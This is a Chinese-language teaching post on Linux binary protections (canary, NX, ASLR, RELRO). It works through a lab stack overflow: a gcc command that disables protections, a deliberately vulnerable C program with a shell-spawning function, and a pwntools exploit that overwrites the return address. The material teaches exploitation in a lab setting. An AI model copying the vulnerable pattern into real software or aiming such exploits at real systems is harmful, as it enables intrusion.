02. 保护概念和栈溢出实例

一.常见的保护

操作系统提供了许多安全机制来尝试降低或阻止缓冲区溢出攻击带来的安全风险,包括DEP、ASLR等。在编写漏洞利用代码的时候,需要特别注意目标进程是否开启了DEP(Linux下对应NX)、ASLR(Linux下对应PIE)等机制,例如存在DEP(NX)的话就不能执行栈上地数据,存在ASLR的话各个系统调用的就是随机变化的。
  1. CANARY (栈保护)
    这个选项表示栈保护功能是否开启
栈溢出保护是一种缓冲区溢出攻击缓冲手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让shsellcode能够得到执行。当启用栈保护后,函数开始执行的时候会先往栈里插入cookie信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就会停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie信息覆盖掉,导致栈保护检查失败而阻止shellcode的执行。在Linux中我们将cookie信息称为canary。
  1. FORTIFY
    也是防止缓冲区溢出攻击,新颖少见

  2. NX(DEP)
    NX即No-eXecute(不可执行),基本原理即将数据所在内存页标识为不可执行·,当程序溢出成功转入shellocode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。

  3. PIE(ASLR)
    一般情况下NX(Windows上称为DEP)和地址空间分布随机化(ASLR)会同时工作。
    内存地址随机化机制(address sapace layout randomizatuion),有以下三种情况
    0–表示关闭进程地址空间随机变化
    1–表示将mmap的基址,stack和vdso页面随机变化
    2–表示在1的基础上增加栈(heap)的随机变
    可以防范基于Ret21ibc方式的针对DEP的攻击。ASLR和DEP配合使用,能有效阻止攻击者在堆栈上运行恶意代码。

5.RELPO
设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击。RELRO为“Partial RELRO”, 说明我们对GOT表具有写权限。


二. Linux检查保护情况

命令:checksec 文件名
注意:要以root权限执行
要在该文件目录下执行:

图片

解读查询结构:i386架构,32位,little是小端存储
partial RELR0
Carry found
NX enabled
以上开启了三种保护
NO PIE 没开启地址随机变换


三. 关闭保护

1
命令:gcc -no-pie -fno-stack-protector -z execstack -m32 -o read read.c

再查看:

图片


四. 查看程序使用了哪些函数

命令:objdump 是查看目标文件或者可执行的目标文件的构成的gcc工具。
详情:https://man.linuxde.net/objdump

1
2
3
-j name    仅仅显示指定名称为name的section的信息
-t 显示文件的符号表入口
objdump -t -j .text read //查看已经编译的read程序的.text段有哪些函数

图片


五. 实战演练

1. 源码

首先用上一次的方法,编写一个 .c 文件,源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include<stdio.h>
void exploit()
{
system("/bin/sh");
}
void func()
{
char str[0x20];
read(0, str, 0x50);
}
int main()
{
func();
return 0;
}

然后编译,同时也需要关闭保护,然后查看保护,如上命令!

1
记得权限:chmod 777 read

可见函数func()里面实现的功能就是可以从command line读取0x50的字符串,放入空间为0x20的字符串数组,显然会超出范围,就会发生堆栈溢出!


2. 函数解释:

** read() 用于将文件描述符对应的文件中读取数据 **

1
2
3
4
5
6
7
8
9
10
ssize_t read(int fd,void*buf,size_t count)
参数说明:
fd: 是文件描述符, 从command line获取数据时,为0
buf: 为读出数据的缓冲区;
count: 为每次读取的字节数(是请求读取的字节数,读上来的数据保
存在缓冲区buf中,同时文件的当前读写位置向后移)
返回值:
成功:返回读出的字节数
失败:返回-1,并设置errno,如果在调用read
之前到达文件末尾,则这次read返回0

** write() 用于将数据写入到文件描述符对应的文件,原型:**

1
2
3
4
5
ssize_t write(int fd,const void*buf,size_t count);
参数说明:
fd:是文件描述符(输出到command line,就是1
buf:通常是一个字符串,需要写入的字符串
count:是每次写入的字节数

** 返回值:**

1
2
3
4
成功:返回写入的字节数
失败:返回-1并设置errno
ps: 写常规文件时,write的返回值通常等于请求写的字节
数count, 而向终端设备或者网络写时则不一定

command line相当于windows控制台窗口!


3.查看程序段函数:

图片
可见这里对应了源代码的程序,一目了然。这种方式只是适合简单程序查看,复杂的还是使用IDA

分析:
这里我们就重点关注func()的汇编代码:
gdb read //运行gdb
disass func //查看汇编代码

前两+0和+1行生成栈帧,巩固leave 和 enter

1
2
3
enter有时在函数开头,正好相反,相当于:
push ebp
mov ebp,esp

+3行保存当前的ebp地址
+4行减小0x24申请36字节的空间,也就esp上升9行
+7和+12是调试器自动加的获取动态地址,不在程序内,先不管
+17再在堆栈申请4个字节空间,减小0x4,esp上升一行
+20把read()函数的第三个参数0x50压栈
+22把ebp-0x28的地址保存到edx
+25把ebp的值压栈,也就是把ebp-0x28的地址压栈。很有可能是一个结构体
+26把read函数第一个参数0x0压栈
//为什么参数会从右向左压栈?因为C语言函数调用约定_cdecl
+30和+35就是调用read()函数了,和外平栈
后面就是恢复了

看堆栈图:

堆栈地址 堆栈数据
0x28这里代表十行省略 数据
|保存原ebp地址

ret |保存返回地址数据

如果程序要执行exploit函数,那么要把这个函数的入口地址覆盖保存到ret

所以我们首先要找下exploit()函数的入口地址:disass exploit
图片
0x08048456


4.写exp:

老方法,用vi编辑器:vi exp.py

代码内容:

1
2
3
4
5
6
7
from pwn import *    #导入pwn包
p=process("./read") #指定目录创建进程
offset = 0x28 + 0x4 #设置偏移量
payload = 'a'*offset + p32(0x08048456)
#用垃圾值a填充覆盖堆栈中offset行的数据,用32位的地址数据覆盖ret
p.sendline(payload) #发送数据
p.interactive() #获取运行时的环境
1
2
3
保存    Esc  :wq 
权限:chmod 777 exp.py
运行:python exp.py

图片
可以看到$符号,所以我们就到了shell环境下!

然后我们就可以查看系统里面的东西了:
图片

but???我要怎么退出这个环境啊?
CTRL+C就退出了